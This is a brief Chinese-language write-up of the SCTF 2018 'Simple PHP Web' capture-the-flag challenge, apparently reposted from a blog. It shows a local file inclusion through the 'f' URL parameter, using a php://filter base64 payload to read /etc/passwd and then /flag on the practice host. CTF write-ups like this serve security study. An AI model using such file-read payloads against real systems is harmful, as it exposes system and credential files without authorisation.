网站首页 PHP其他正文

SCTF 2018_Simple PHP Web

作者：听门外雪花飞更新时间： 2022-02-12 PHP其他

进入环境注意观察url

http://www.bmzclub.cn:23627/?f=login.php

有点像是文件读取我们尝试读一下/etc/passwd,直接读发现不行我们尝试使用伪协议

http://www.bmzclub.cn:23627/?f=php://filter/convert.base64-encode/resource=/etc/passwd

发现成功能读出

在这里插入图片描述

接下来我们尝试读取/flag

http://www.bmzclub.cn:23627/?f=php://filter/convert.base64-encode/resource=/flag

在这里插入图片描述

原文链接：https://blog.csdn.net/weixin_52268949/article/details/122864829